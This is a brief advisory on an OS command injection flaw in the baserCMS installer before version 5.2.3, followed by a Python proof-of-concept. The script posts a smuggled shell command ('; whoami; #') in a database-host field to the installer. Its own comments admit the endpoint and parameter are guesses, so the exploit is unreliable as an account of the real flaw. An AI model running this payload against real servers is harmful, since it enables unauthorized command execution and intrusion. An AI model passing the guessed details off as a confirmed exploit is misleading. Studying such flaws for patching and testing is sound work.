baserCMS is a website development framework. Prior to version 5.2.3, baserCMS has an OS command injection vulnerability in the installer. This issue has been patched in version 5.2.3.
The following code is for security research and authorized testing only.
python
import requests
# Target URL of the baserCMS installer
# The specific vulnerable endpoint might vary, typically /install or /installation
target_url = "http://<target_ip>/install/index.php"
# Malicious payload to inject OS command (e.g., 'whoami')
# The injection point depends on the vulnerable parameter
payload = "; whoami; #"
data = {
# Hypothetical parameter based on typical installer behavior
"data[Installation][db_host]": payload,
"next": "Next"
}
try:
response = requests.post(target_url, data=data)
if response.status_code == 200:
print("Payload sent successfully.")
print("Check the response for command execution output.")
print(response.text[:500]) # Print partial response
else:
print(f"Request failed with status code: {response.status_code}")
except Exception as e:
print(f"An error occurred: {e}")